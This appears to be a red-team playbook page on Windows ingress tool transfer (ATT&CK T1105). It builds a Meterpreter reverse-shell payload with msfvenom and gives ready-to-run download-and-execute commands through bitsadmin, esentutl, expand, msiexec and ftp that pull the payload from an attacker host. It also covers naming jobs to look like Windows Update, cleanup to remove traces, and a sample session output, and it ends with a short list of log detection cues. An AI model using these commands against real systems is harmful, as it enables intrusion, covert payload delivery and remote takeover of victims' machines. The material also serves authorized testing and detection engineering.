T1105: Ingress Tool Transfer
Covers: T1105 - Ingress Tool Transfer (bitsadmin, esentutl, expand, msiexec, ftp)
Technique Requirementsβ
| Privileges Required | User (bitsadmin, ftp, msiexec) / User or Admin (esentutl, expand from UNC) |
| Effective Permissions | Context of the invoking user |
| Employment Complexity | 1/5 - Very Low |
| Detection Complexity | 2/5 - Low (each binary is individually signed and legitimate; the destination file and network connection are the indicators) |
Backgroundβ
Ingress Tool Transfer moves attacker-controlled files onto the victim using built-in Windows binaries as the download mechanism. The goal is to stage a payload when the preferred transfer method (certutil, PowerShell WebClient, or direct copy) is blocked or monitored.
Relationship to T1218 (Signed Binary Proxy Execution): certutil -urlcache is documented in the Defense Evasion / T1218 section because it is most commonly used alongside AppLocker bypass techniques. The methods here are the remaining LOL transfer options - use them when certutil is blocked or you need the specific properties of a given binary (background transfer, SMB-based staging, MSI execution).
When each method is the right choice:
| Scenario | Best Method |
|---|---|
certutil and PowerShell are blocked or monitored | bitsadmin /transfer |
| Target has no outbound HTTP but can reach your SMB share | esentutl /y or expand from UNC |
| You want to download and execute in one step (no separate launcher needed) | msiexec /i http:// |
| Egress is restricted to FTP only | ftp.exe script mode |
| You need asynchronous background download without blocking a shell | bitsadmin job with /SetNotifyCmdLine |
Setup (on Kali): Payload and Serverβ
All HTTP-based methods below assume a payload file is hosted on a Python web server. Generate a payload and start the server once; reuse across methods.
# Generate a staged HTTPS reverse Meterpreter EXE
ATTACKER_IP="<ATTACKER_IP>"
msfvenom -p windows/x64/meterpreter/reverse_https LHOST="${ATTACKER_IP}" LPORT=443 -f exe -o payload.exe
# Start web server in the directory containing the payload
python3 -m http.server 8080
Start the listener in a separate terminal:
msfconsole -x "use exploit/multi/handler;
set payload windows/x64/meterpreter/reverse_https;
set LHOST 0.0.0.0;
set LPORT 443;
run -j;"
Method 1: bitsadmin /transfer - Background HTTP Downloadβ
ATT&CK: T1105 (also T1197)
LOL binary: bitsadmin.exe
Privileges required: User
Why it works: bitsadmin manages the Windows Background Intelligent Transfer Service (BITS). BITS was designed to download Windows Update content in the background over HTTP/HTTPS. Because it is a built-in Windows service, its outbound connections are often permitted through corporate proxies and firewalls without inspection. The transfer runs under the svchost.exe BITS service - the command-line tool (bitsadmin.exe) just creates and manages jobs; the actual download is performed by the service.
Download (synchronous - blocks until complete)β
bitsadmin /transfer "WindowsUpdate" /download /priority normal http://<ATTACKER_IP>:8080/payload.exe C:\Windows\Temp\payload.exe
| Argument | Meaning |
|---|---|
"WindowsUpdate" | Job display name - choose something that looks legitimate |
/download | Job type (download, not upload) |
/priority normal | Transfer priority (foreground / high / normal / low) |
http://... | Source URL |
C:\Windows\Temp\payload.exe | Destination path |
The /transfer switch is a one-shot convenience command - it creates the job, adds the file, resumes it, waits for completion, and deletes the job. It is equivalent to the four-step create/addfile/resume/complete sequence.
HTTPS Downloadβ
bitsadmin /transfer "WindowsUpdate" /download /priority normal https://<ATTACKER_IP>/payload.exe C:\Windows\Temp\payload.exe
HTTPS works without any certificate configuration on the victim side - BITS does not validate the server certificate by default (the /SetSecurityFlags option can be used to enforce validation, but it is not the default). This means you can use a self-signed cert on your Kali HTTPS server.
Download then Executeβ
bitsadmin /transfer "WindowsUpdate" /download /priority normal http://<ATTACKER_IP>:8080/payload.exe C:\Windows\Temp\payload.exe && C:\Windows\Temp\payload.exe
Cleanupβ
BITS jobs persist in the queue if not completed or cancelled. List and clean up:
bitsadmin /list /allusers /verbose
bitsadmin /cancel "WindowsUpdate"
del C:\Windows\Temp\payload.exe
See T1197 - BITS Jobs (Persistence) for using bitsadmin with /SetNotifyCmdLine to execute a payload when the download completes, and for chaining BITS download with a Run key for persistence.
Method 2: esentutl.exe /y - UNC File Copyβ
ATT&CK: T1105
LOL binary: esentutl.exe
Privileges required: User
Why it works: esentutl.exe is the Extensible Storage Engine utility - a database maintenance tool for ESE/JET databases (used by Active Directory, Windows Search, and other components). Its /y flag copies a file. Crucially, it accepts UNC paths (\\server\share\file) as the source, meaning it can pull a file directly from an attacker-controlled SMB share without any HTTP server.
Setup (on Kali): Start an SMB shareβ
impacket-smbserver share /tmp/payloads -smb2support
Place payload.exe in /tmp/payloads/ on Kali.
Copy from UNC path to local diskβ
esentutl.exe /y \\<ATTACKER_IP>\share\payload.exe /d C:\Windows\Temp\payload.exe /o
| Flag | Meaning |
|---|---|
/y | Copy source file |
/d | Destination path |
/o | Overwrite destination if it exists |
Execute after copyβ
esentutl.exe /y \\<ATTACKER_IP>\share\payload.exe /d C:\Windows\Temp\payload.exe /o && C:\Windows\Temp\payload.exe
Limitations:
- Requires SMB reachability from victim to attacker (port 445 outbound)
- If the victim requires authentication for SMB, establish a session first with
net use esentutl.exemay not be present on all Windows editions (it is present on Server; on Workstation it is present but less commonly associated with file copy)
Method 3: expand.exe - Cabinet Extract or UNC Copyβ
ATT&CK: T1105
LOL binary: expand.exe
Privileges required: User
Why it works: expand.exe is the Windows cabinet file expander. It accepts source paths including UNC paths and can extract single files from cabinet (.cab) archives. Two usage patterns are available: direct copy from a UNC path, or extracting a payload embedded in a .cab archive served via HTTP.
Option A: Direct UNC Copy (no cabinet required)β
Same SMB share as Method 2:
expand \\<ATTACKER_IP>\share\payload.exe C:\Windows\Temp\payload.exe
This is functionally equivalent to copy but uses a different binary - useful when cmd.exe copy is blocked by AppLocker or script policy.
Option B: Extract from Cabinet Archive (HTTP delivery)β
Package the payload in a cabinet file on Kali:
# Create a cabinet file containing the payload
makecab payload.exe payload.cab
# Serve it
python3 -m http.server 8080
Download and extract the cabinet on the victim - combining certutil download with expand extraction:
certutil -urlcache -split -f http://<ATTACKER_IP>:8080/payload.cab C:\Windows\Temp\payload.cab
expand C:\Windows\Temp\payload.cab C:\Windows\Temp\payload.exe
C:\Windows\Temp\payload.exe
The cabinet method splits the transfer into two distinct steps performed by two different LOL binaries. Each step in isolation looks legitimate: certutil fetches what looks like a certificate file (.cab is a common Windows Update file format), and expand decompresses it. The payload binary only materializes at the final step.
Cleanupβ
del C:\Windows\Temp\payload.cab
del C:\Windows\Temp\payload.exe
Method 4: msiexec.exe /i - Download and Execute MSIβ
ATT&CK: T1105 + T1218.007
LOL binary: msiexec.exe
Privileges required: User (standard user can install per-user MSI) / Administrator (system-wide install)
Why it works: msiexec.exe is the Windows Installer service host. It accepts a URL directly as the package path - it will download the .msi file over HTTP/HTTPS and install it in a single step. A malicious .msi can run arbitrary commands via its CustomAction table during installation, making msiexec both the downloader and the executor with no intermediate file written by the operator.
Generate MSI payloadβ
ATTACKER_IP="<ATTACKER_IP>"
msfvenom -p windows/x64/meterpreter/reverse_https LHOST="${ATTACKER_IP}" LPORT=443 -f msi -o payload.msi
python3 -m http.server 8080
Execute on victim (download + install silently)β
msiexec /i http://<ATTACKER_IP>:8080/payload.msi /qn
| Flag | Meaning |
|---|---|
/i | Install package |
/qn | Quiet mode, no UI |
HTTPS variantβ
msiexec /i https://<ATTACKER_IP>/payload.msi /qn
What happens: msiexec connects to your HTTP server and downloads payload.msi. The installer runs the MSI's custom actions, which fire the Meterpreter stager. The MSI may also leave a partial installation entry in HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall - clean this up after the session is established.
Cleanupβ
# Remove any install registry artifacts left by msfvenom MSI
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /s /f "meterpreter" /k
# Delete by GUID once identified:
# reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{GUID} /f
msiexec /i <URL> is a well-known AppLocker bypass and is blocked in many enterprise environments by Software Restriction Policy or AppLocker MSI rules. Check AppLocker policy (see Discovery - Phase 6) before relying on this method.
Method 5: ftp.exe - Script-Mode FTP Downloadβ
ATT&CK: T1105
LOL binary: ftp.exe
Privileges required: User
Why it works: ftp.exe is the Windows command-line FTP client, present on every Windows installation. It accepts a script file via the -s: flag that contains FTP commands - this allows a fully non-interactive FTP session that downloads a file without any user interaction. Useful when HTTP/HTTPS egress is restricted but FTP (port 21) is open.
Setup (on Kali): Start an FTP serverβ
# Install and start Python ftplib server (or use vsftpd):
pip3 install pyftpdlib
python3 -m pyftpdlib -p 21 -w --directory /tmp/payloads
Place payload.exe in /tmp/payloads/.
Create FTP script on victim and executeβ
echo open <ATTACKER_IP> 21> C:\Windows\Temp\ftp.txt
echo anonymous>> C:\Windows\Temp\ftp.txt
echo anonymous>> C:\Windows\Temp\ftp.txt
echo binary>> C:\Windows\Temp\ftp.txt
echo get payload.exe C:\Windows\Temp\payload.exe>> C:\Windows\Temp\ftp.txt
echo quit>> C:\Windows\Temp\ftp.txt
ftp -s:C:\Windows\Temp\ftp.txt
Or as a one-liner using cmd /c echo chaining:
cmd /c "(echo open <ATTACKER_IP> 21 & echo anonymous & echo anonymous & echo binary & echo get payload.exe C:\Windows\Temp\payload.exe & echo quit) > C:\Windows\Temp\ftp.txt" && ftp -s:C:\Windows\Temp\ftp.txt
Execute after downloadβ
C:\Windows\Temp\payload.exe
Cleanupβ
del C:\Windows\Temp\ftp.txt
del C:\Windows\Temp\payload.exe
Comparison and Selection Guideβ
| Method | Protocol | File on Disk After Transfer | Executes Payload? | Requires Admin? | Key Limitation |
|---|---|---|---|---|---|
certutil -urlcache | HTTP/HTTPS | Yes | No | No | Leaves URL cache; well-monitored |
bitsadmin /transfer | HTTP/HTTPS | Yes | No | No | BITS service must be running |
esentutl /y | SMB (UNC) | Yes | No | No | Port 445 outbound required |
expand UNC | SMB (UNC) | Yes | No | No | Port 445 outbound required |
expand + certutil | HTTP + local | Yes (cab + exe) | No | No | Two-step process |
msiexec /i | HTTP/HTTPS | Partial (registry) | Yes | No (per-user) | AppLocker MSI rules common |
ftp.exe | FTP | Yes (script + exe) | No | No | FTP rarely permitted outbound |
General guidance:
- Default to
certutil(documented in T1218) unless it is blocked - Use
bitsadminwhencertutilis blocked and HTTP/HTTPS egress is available - Use
esentutlorexpandUNC when HTTP is blocked but SMB to the attacker is reachable - Use
msiexecwhen you want download-and-execute in a single command with no separate launcher - Use
ftpas a last resort when only FTP egress is available
What to Expectβ
Each method places payload.exe at the destination path. Execute it to get a callback:
msf6 exploit(multi/handler) > [*] Sending stage (201798 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened (0.0.0.0:443 -> 192.168.1.100:49701) at 2026-03-21 11:22:04
meterpreter > getuid
Server username: CORP\jsmith
meterpreter > sysinfo
Computer : WORKSTATION01
OS : Windows 10 (10.0 Build 19044)
Architecture : x64
For msiexec, the session arrives during the MSI install - no separate execution step needed.
Log Detectionβ
- Source:
Microsoft-Windows-Sysmon/Operational- EventID:
1(ProcessCreate)bitsadmin.exewith/transferand an HTTP URL in command lineesentutl.exewith/yand a UNC source pathexpand.exewith a UNC source path or a.cabdestinationmsiexec.exewith/iand an HTTP/HTTPS URLftp.exewith-s:pointing to a script file
- EventID:
3(NetworkConnect)- Outbound HTTP/HTTPS connections from
svchost.exe(BITS) - associated with bitsadmin job - Outbound connections from
msiexec.exeto non-Microsoft IP - Outbound port 21 from
ftp.exe
- Outbound HTTP/HTTPS connections from
- EventID:
11(FileCreate)- New executable written to
C:\Windows\Temp\or other staging path
- New executable written to
- EventID:
- Source:
Microsoft-Windows-Bits-Client/Operational- EventID:
3(BITS job created) - EventID:
4(BITS job completed)- Contains job name, source URL, and destination path - high-fidelity for
bitsadmindetection
- Contains job name, source URL, and destination path - high-fidelity for
- EventID:
- Source:
Security- EventID:
4688(Process creation with command line auditing)- Same patterns as Sysmon EventID 1 above
- EventID: